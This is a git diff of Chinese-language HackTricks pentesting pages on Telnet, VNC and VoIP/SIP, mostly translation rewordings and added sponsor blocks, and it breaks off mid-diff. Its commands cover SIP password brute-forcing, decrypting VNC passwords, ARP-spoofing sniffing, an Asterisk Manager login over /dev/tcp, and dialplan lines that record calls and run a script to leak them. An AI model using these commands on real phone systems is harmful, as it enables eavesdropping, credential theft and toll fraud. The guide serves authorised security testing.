<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,提供20多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取shell并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -100,8 +104,8 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
||||||
<summary>支持HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -10,11 +10,17 @@
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_要求流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
## 基本信息
|
## 基本信息
|
||||||
|
|
||||||
**虚拟网络计算 (VNC)** 是一个强大的图形桌面共享系统,利用 **远程帧缓冲 (RFB)** 协议实现对另一台计算机的远程控制和协作。通过 VNC,用户可以通过双向传输键盘和鼠标事件与远程计算机无缝互动。这允许实时访问,并促进高效的远程协助或网络协作。
|
**虚拟网络计算 (VNC)** 是一个强大的图形桌面共享系统,利用 **远程帧缓冲 (RFB)** 协议实现对另一台计算机的远程控制和协作。通过 VNC,用户可以通过双向传输键盘和鼠标事件与远程计算机无缝互动。这允许实时访问,并促进高效的远程协助或网络协作。
|
||||||
|
@ -39,13 +45,13 @@ vncviewer [-passwd passwd.txt] <IP>::5901
|
||||||
|
|
||||||
默认 **密码存储在**: \~/.vnc/passwd
|
默认 **密码存储在**: \~/.vnc/passwd
|
||||||
|
|
||||||
如果你有 VNC 密码并且它看起来是加密的(几字节,就像可能是加密密码),它可能是用 3des 加密的。你可以使用 [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) 获取明文密码。
|
如果你有 VNC 密码并且它看起来是加密的(几字节,就像可能是一个加密的密码),它可能是用 3des 加密的。你可以使用 [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) 获取明文密码。
|
||||||
```bash
|
```bash
|
||||||
make
|
make
|
||||||
vncpwd <vnc password file>
|
vncpwd <vnc password file>
|
||||||
```
|
```
|
||||||
您之所以能够这样做,是因为用于在3des中加密明文VNC密码的密码多年前已被逆向。\
|
您之所以能够这样做,是因为用于加密明文 VNC 密码的 3des 中使用的密码多年前已被逆向。\
|
||||||
对于**Windows**,您还可以使用此工具:[https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
对于 **Windows**,您还可以使用此工具:[https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||||
我在这里也保存了该工具以便于访问:
|
我在这里也保存了该工具以便于访问:
|
||||||
|
|
||||||
{% file src="../.gitbook/assets/vncpwd.zip" %}
|
{% file src="../.gitbook/assets/vncpwd.zip" %}
|
||||||
|
@ -54,17 +60,23 @@ vncpwd <vnc password file>
|
||||||
|
|
||||||
* `port:5900 RFB`
|
* `port:5900 RFB`
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
如果您对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -9,12 +9,20 @@
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## VoIP 基本信息
|
## VoIP 基本信息
|
||||||
|
|
||||||
要开始了解 VoIP 的工作原理,请查看:
|
要开始了解 VoIP 的工作原理,请查看:
|
||||||
|
@ -143,7 +151,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
|
||||||
|
|
||||||
### 电话号码
|
### 电话号码
|
||||||
|
|
||||||
红队可以采取的第一步是使用OSINT工具、Google搜索或抓取网页来搜索可用的电话号码以联系公司。
|
红队可以采取的第一步是使用OSINT工具、谷歌搜索或抓取网页来搜索可用的电话号码以联系公司。
|
||||||
|
|
||||||
一旦你有了电话号码,你可以使用在线服务来识别运营商:
|
一旦你有了电话号码,你可以使用在线服务来识别运营商:
|
||||||
|
|
||||||
|
@ -152,7 +160,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
|
||||||
* [https://www.whitepages.com/](https://www.whitepages.com/)
|
* [https://www.whitepages.com/](https://www.whitepages.com/)
|
||||||
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
|
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
|
||||||
|
|
||||||
知道运营商是否提供VoIP服务,你可以确定公司是否在使用VoIP……此外,公司可能没有雇佣VoIP服务,而是使用PSTN卡将自己的VoIP PBX连接到传统电话网络。
|
知道运营商是否提供VoIP服务,你可以识别公司是否在使用VoIP……此外,公司可能没有雇佣VoIP服务,而是使用PSTN卡将自己的VoIP PBX连接到传统电话网络。
|
||||||
|
|
||||||
诸如自动音乐响应等情况通常表明正在使用VoIP。
|
诸如自动音乐响应等情况通常表明正在使用VoIP。
|
||||||
|
|
||||||
|
@ -194,7 +202,7 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati
|
||||||
|
|
||||||
### 网络枚举
|
### 网络枚举
|
||||||
|
|
||||||
* **`nmap`** 能够扫描 UDP 服务,但由于扫描的 UDP 服务数量较多,它的速度非常慢,并且在这类服务上可能不够准确。
|
* **`nmap`** 能够扫描 UDP 服务,但由于扫描的 UDP 服务数量较多,它的速度非常慢,并且在这类服务上可能不太准确。
|
||||||
```bash
|
```bash
|
||||||
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
|
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
|
||||||
```
|
```
|
||||||
|
@ -204,7 +212,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
|
||||||
# Use --fp to fingerprint the services
|
# Use --fp to fingerprint the services
|
||||||
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
||||||
```
|
```
|
||||||
* **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS扫描是一个非常快速的SIP服务扫描器,支持UDP、TCP或TLS。它使用多线程,可以扫描大范围的网络。它允许轻松指示端口范围,扫描TCP和UDP,使用其他方法(默认情况下将使用OPTIONS)并指定不同的User-Agent(等等)。
|
* **`SIPPTS scan`**来自[**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS扫描是一个非常快速的SIP服务扫描器,支持UDP、TCP或TLS。它使用多线程,可以扫描大范围的网络。它允许轻松指示端口范围,扫描TCP和UDP,使用其他方法(默认情况下将使用OPTIONS)并指定不同的User-Agent(等等)。
|
||||||
```bash
|
```bash
|
||||||
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
||||||
|
|
||||||
|
@ -235,13 +243,13 @@ PBX 还可能暴露其他网络服务,例如:
|
||||||
|
|
||||||
### 方法枚举
|
### 方法枚举
|
||||||
|
|
||||||
可以使用 `SIPPTS enumerate` 从 [**sippts**](https://github.com/Pepelux/sippts) 找到 **可用的方法**。
|
可以使用来自 [**sippts**](https://github.com/Pepelux/sippts) 的 `SIPPTS enumerate` 找到 **可用的方法** 以在 PBX 中使用。
|
||||||
```bash
|
```bash
|
||||||
sippts enumerate -i 10.10.0.10
|
sippts enumerate -i 10.10.0.10
|
||||||
```
|
```
|
||||||
### 分析服务器响应
|
### 分析服务器响应
|
||||||
|
|
||||||
分析服务器返回给我们的头部信息非常重要,这取决于我们发送的消息和头部的类型。使用来自 [**sippts**](https://github.com/Pepelux/sippts) 的 `SIPPTS send`,我们可以发送个性化消息,操纵所有头部,并分析响应。
|
分析服务器返回给我们的头部信息非常重要,这取决于我们发送的消息和头部的类型。使用来自 [**sippts**](https://github.com/Pepelux/sippts) 的 `SIPPTS send`,我们可以发送个性化消息,操控所有头部,并分析响应。
|
||||||
```bash
|
```bash
|
||||||
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
|
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
|
||||||
```
|
```
|
||||||
|
@ -251,13 +259,13 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
|
||||||
```
|
```
|
||||||
### Extension Enumeration
|
### Extension Enumeration
|
||||||
|
|
||||||
在PBX(私人分支交换机)系统中,扩展指的是**分配给组织或企业内各个**电话线路、设备或用户的唯一内部标识符。扩展使得**在组织内部高效地路由电话成为可能**,无需为每个用户或设备提供单独的外部电话号码。
|
在PBX(私人分支交换机)系统中,扩展指的是**分配给组织或企业内各个**电话线路、设备或用户的唯一内部标识符。扩展使得**在组织内部高效路由电话成为可能**,无需为每个用户或设备提供单独的外部电话号码。
|
||||||
|
|
||||||
* **`svwar`** 来自SIPVicious(`sudo apt install sipvicious`):`svwar`是一个免费的SIP PBX扩展线路扫描器。在概念上,它的工作方式类似于传统的拨号器,通过**猜测一系列扩展或给定的扩展列表**。
|
* **`svwar`** 来自SIPVicious(`sudo apt install sipvicious`):`svwar`是一个免费的SIP PBX扩展线路扫描器。在概念上,它的工作方式类似于传统的拨号器,通过**猜测一系列扩展或给定的扩展列表**。
|
||||||
```bash
|
```bash
|
||||||
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
||||||
```
|
```
|
||||||
* **`SIPPTS exten`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten 识别 SIP 服务器上的扩展。 Sipexten 可以检查大范围的网络和端口。
|
* **`SIPPTS exten`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten 用于识别 SIP 服务器上的扩展。Sipexten 可以检查大范围的网络和端口。
|
||||||
```bash
|
```bash
|
||||||
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
|
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
|
||||||
```
|
```
|
||||||
|
@ -275,15 +283,15 @@ enumiax -v -m3 -M3 10.10.0.10
|
||||||
|
|
||||||
### 密码暴力破解 - 在线
|
### 密码暴力破解 - 在线
|
||||||
|
|
||||||
在发现了 **PBX** 和一些 **分机/用户名** 后,红队可以尝试通过 `REGISTER` 方法对分机进行身份验证,使用常见密码字典进行暴力破解。
|
在发现了 **PBX** 和一些 **扩展/用户名** 后,红队可以尝试通过 `REGISTER` 方法对扩展进行身份验证,使用常见密码的字典进行暴力破解。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
请注意,**用户名** 可以与分机相同,但这种做法可能会因 PBX 系统、其配置和组织的偏好而有所不同...
|
请注意,**用户名** 可以与扩展相同,但这种做法可能会因 PBX 系统、其配置和组织的偏好而有所不同...
|
||||||
|
|
||||||
如果用户名与分机不同,您需要 **找出用户名以进行暴力破解**。
|
如果用户名与扩展不同,您需要 **找出用户名以进行暴力破解**。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* **`svcrack`** 来自 SIPVicious (`sudo apt install sipvicious`): SVCrack 允许您破解 PBX 上特定用户名/分机的密码。
|
* **`svcrack`** 来自 SIPVicious (`sudo apt install sipvicious`): SVCrack 允许您破解 PBX 上特定用户名/扩展的密码。
|
||||||
```bash
|
```bash
|
||||||
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
|
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
|
||||||
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
|
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
|
||||||
|
@ -300,7 +308,7 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
||||||
|
|
||||||
如果你在**开放Wifi网络**中发现VoIP设备,你可以**嗅探所有信息**。此外,如果你在一个更封闭的网络中(通过以太网连接或受保护的Wifi),你可以在**PBX和网关**之间执行**MitM攻击,例如** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)以嗅探信息。
|
如果你在**开放Wifi网络**中发现VoIP设备,你可以**嗅探所有信息**。此外,如果你在一个更封闭的网络中(通过以太网连接或受保护的Wifi),你可以在**PBX和网关**之间执行**MitM攻击,例如** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)以嗅探信息。
|
||||||
|
|
||||||
在网络信息中,你可能会找到**管理设备的网页凭证**、用户**分机**、**用户名**、**IP**地址,甚至**哈希密码**和**RTP数据包**,你可以重放这些数据包以**听到对话**,等等。
|
在网络信息中,你可能会找到**管理设备的网页凭据**、用户**分机**、**用户名**、**IP**地址,甚至**哈希密码**和**RTP数据包**,你可以重放这些数据包以**听到对话**,等等。
|
||||||
|
|
||||||
要获取这些信息,你可以使用Wireshark、tcpdump等工具……但一个**专门创建的嗅探VoIP对话的工具是** [**ucsniff**](https://github.com/Seabreg/ucsniff)。
|
要获取这些信息,你可以使用Wireshark、tcpdump等工具……但一个**专门创建的嗅探VoIP对话的工具是** [**ucsniff**](https://github.com/Seabreg/ucsniff)。
|
||||||
|
|
||||||
|
@ -309,9 +317,9 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
||||||
如果使用**SRTP**和**ZRTP**,**RTP数据包将不会是明文**。
|
如果使用**SRTP**和**ZRTP**,**RTP数据包将不会是明文**。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### SIP凭证(密码暴力破解 - 离线)
|
#### SIP凭据(密码暴力破解 - 离线)
|
||||||
|
|
||||||
[查看这个例子以更好地理解**SIP REGISTER通信**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example),以了解**凭证是如何发送的**。
|
[查看这个例子以更好地理解**SIP REGISTER通信**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example),以了解**凭据是如何发送的**。
|
||||||
|
|
||||||
* **`sipdump`**和**`sipcrack`**,是**sipcrack**的一部分(`apt-get install sipcrack`):这些工具可以**从pcap中提取**SIP协议中的**摘要认证**并进行**暴力破解**。
|
* **`sipdump`**和**`sipcrack`**,是**sipcrack**的一部分(`apt-get install sipcrack`):这些工具可以**从pcap中提取**SIP协议中的**摘要认证**并进行**暴力破解**。
|
||||||
```bash
|
```bash
|
||||||
|
@ -322,7 +330,7 @@ sipcrack sip-creds.txt -w dict.txt
|
||||||
```bash
|
```bash
|
||||||
sippts dump -f capture.pcap -o data.txt
|
sippts dump -f capture.pcap -o data.txt
|
||||||
```
|
```
|
||||||
* **`SIPPTS dcrack`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack 是一个用于破解通过 SIPPTS dump 获得的摘要认证的工具。
|
* **`SIPPTS dcrack`**来自[**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack 是一个用于破解通过 SIPPTS dump 获得的摘要认证的工具。
|
||||||
```bash
|
```bash
|
||||||
sippts dcrack -f data.txt -w wordlist/rockyou.txt
|
sippts dcrack -f data.txt -w wordlist/rockyou.txt
|
||||||
```
|
```
|
||||||
|
@ -339,7 +347,7 @@ multimon -a DTMF -t wac pin.wav
|
||||||
```
|
```
|
||||||
### 免费通话 / Asterisks 连接配置错误
|
### 免费通话 / Asterisks 连接配置错误
|
||||||
|
|
||||||
在 Asterisk 中,可以允许来自 **特定 IP 地址** 的连接或来自 **任何 IP 地址** 的连接:
|
在 Asterisk 中,可以允许来自 **特定 IP 地址** 或 **任何 IP 地址** 的连接:
|
||||||
```
|
```
|
||||||
host=10.10.10.10
|
host=10.10.10.10
|
||||||
host=dynamic
|
host=dynamic
|
||||||
|
@ -348,9 +356,9 @@ host=dynamic
|
||||||
|
|
||||||
要定义用户,可以定义为:
|
要定义用户,可以定义为:
|
||||||
|
|
||||||
* **`type=user`**:用户只能接收电话。
|
* **`type=user`**:用户只能作为用户接听电话。
|
||||||
* **`type=friend`**:可以作为对等方进行通话并作为用户接收通话(与分机一起使用)
|
* **`type=friend`**:可以作为对等方拨打电话并作为用户接听(与分机一起使用)
|
||||||
* **`type=peer`**:可以作为对等方发送和接收通话(SIP-trunks)
|
* **`type=peer`**:可以作为对等方发送和接听电话(SIP-trunks)
|
||||||
|
|
||||||
还可以通过不安全变量建立信任:
|
还可以通过不安全变量建立信任:
|
||||||
|
|
||||||
|
@ -369,20 +377,20 @@ host=dynamic
|
||||||
|
|
||||||
### 免费通话 / Asterisks上下文错误配置
|
### 免费通话 / Asterisks上下文错误配置
|
||||||
|
|
||||||
在Asterisk中,**上下文**是拨号计划中一个命名的容器或部分,**将相关的分机、操作和规则组合在一起**。拨号计划是Asterisk系统的核心组件,因为它定义了**如何处理和路由来电和去电**。上下文用于组织拨号计划、管理访问控制,并提供系统不同部分之间的分离。
|
在Asterisk中,**上下文**是拨号计划中一个命名的容器或部分,**将相关的分机、操作和规则分组在一起**。拨号计划是Asterisk系统的核心组件,因为它定义了**如何处理和路由来电和去电**。上下文用于组织拨号计划、管理访问控制,并提供系统不同部分之间的分离。
|
||||||
|
|
||||||
每个上下文在配置文件中定义,通常在**`extensions.conf`**文件中。上下文用方括号表示,上下文名称包含在其中。例如:
|
每个上下文在配置文件中定义,通常在**`extensions.conf`**文件中。上下文用方括号表示,上下文名称包含在其中。例如:
|
||||||
```bash
|
```bash
|
||||||
csharpCopy code[my_context]
|
csharpCopy code[my_context]
|
||||||
```
|
```
|
||||||
在上下文中,您定义扩展(拨打号码的模式)并将其与一系列操作或应用程序关联。这些操作决定了电话的处理方式。例如:
|
在此上下文中,您定义扩展(拨打号码的模式)并将其与一系列操作或应用程序关联。这些操作决定了电话的处理方式。例如:
|
||||||
```scss
|
```scss
|
||||||
[my_context]
|
[my_context]
|
||||||
exten => 100,1,Answer()
|
exten => 100,1,Answer()
|
||||||
exten => 100,n,Playback(welcome)
|
exten => 100,n,Playback(welcome)
|
||||||
exten => 100,n,Hangup()
|
exten => 100,n,Hangup()
|
||||||
```
|
```
|
||||||
这个示例演示了一个简单的上下文,称为 "my\_context",扩展名为 "100"。当有人拨打 100 时,电话将被接听,播放欢迎消息,然后电话将被终止。
|
这个示例演示了一个名为 "my\_context" 的简单上下文,扩展为 "100"。当有人拨打 100 时,电话将被接听,播放欢迎信息,然后电话将被终止。
|
||||||
|
|
||||||
这是 **另一个上下文**,允许 **拨打任何其他号码**:
|
这是 **另一个上下文**,允许 **拨打任何其他号码**:
|
||||||
```scss
|
```scss
|
||||||
|
@ -460,7 +468,7 @@ exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
||||||
|
|
||||||
## SIPDigestLeak 漏洞
|
## SIPDigestLeak 漏洞
|
||||||
|
|
||||||
SIP Digest Leak 是一个影响大量 SIP 电话的漏洞,包括硬件和软件 IP 电话以及电话适配器(VoIP 转模拟)。该漏洞允许 **泄露 Digest 认证响应**,该响应是根据密码计算的。然后可以进行 **离线密码攻击**,并根据挑战响应恢复大多数密码。
|
SIP Digest Leak 是一个影响大量 SIP 电话的漏洞,包括硬件和软件 IP 电话以及电话适配器(VoIP 到模拟)。该漏洞允许 **泄露 Digest 认证响应**,该响应是根据密码计算的。然后可以进行 **离线密码攻击**,并根据挑战响应恢复大多数密码。
|
||||||
|
|
||||||
**[漏洞场景来自这里**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
**[漏洞场景来自这里**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
||||||
|
|
||||||
|
@ -507,7 +515,7 @@ displayconnects = yes
|
||||||
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
||||||
write = system,call,agent,user,config,command,reporting,originate
|
write = system,call,agent,user,config,command,reporting,originate
|
||||||
```
|
```
|
||||||
* 之前的配置允许 **任何 IP 地址连接**(如果密码已知)。
|
* 之前的配置允许 **任何 IP 地址连接**(如果已知密码)。
|
||||||
* 要 **组织一个电话**,如前所述,**不需要读取权限**,**只需要** **在写入中** **发起**。
|
* 要 **组织一个电话**,如前所述,**不需要读取权限**,**只需要** **在写入中** **发起**。
|
||||||
|
|
||||||
拥有这些权限的任何知道密码的 IP 都可以连接并提取过多信息,例如:
|
拥有这些权限的任何知道密码的 IP 都可以连接并提取过多信息,例如:
|
||||||
|
@ -529,7 +537,7 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
|
||||||
|
|
||||||
也可以使用 **`ExtenSpy`** 仅监控一个分机。
|
也可以使用 **`ExtenSpy`** 仅监控一个分机。
|
||||||
|
|
||||||
除了监听对话外,还可以使用分机将其 **录制到文件中**,例如:
|
除了监听对话外,还可以使用分机将其 **录制到文件** 中,例如:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```scss
|
```scss
|
||||||
|
@ -539,7 +547,7 @@ exten => _X.,2,MixMonitor(${NAME})
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
通话将保存在 **`/tmp`**。
|
通话将保存在 **`/tmp`** 中。
|
||||||
|
|
||||||
您甚至可以让 Asterisk **在通话结束时执行一个脚本以泄露通话**。
|
您甚至可以让 Asterisk **在通话结束时执行一个脚本以泄露通话**。
|
||||||
```scss
|
```scss
|
||||||
|
@ -549,9 +557,9 @@ exten => h,1,System(/tmp/leak_conv.sh &)
|
||||||
|
|
||||||
**RTCPBleed** 是一个影响基于 Asterisk 的 VoIP 服务器的重大安全问题(发布于 2017 年)。该漏洞允许 **RTP(实时传输协议)流量**,即承载 VoIP 通话的流量,被 **互联网上的任何人拦截和重定向**。这是因为 RTP 流量在通过 NAT(网络地址转换)防火墙时绕过了身份验证。
|
**RTCPBleed** 是一个影响基于 Asterisk 的 VoIP 服务器的重大安全问题(发布于 2017 年)。该漏洞允许 **RTP(实时传输协议)流量**,即承载 VoIP 通话的流量,被 **互联网上的任何人拦截和重定向**。这是因为 RTP 流量在通过 NAT(网络地址转换)防火墙时绕过了身份验证。
|
||||||
|
|
||||||
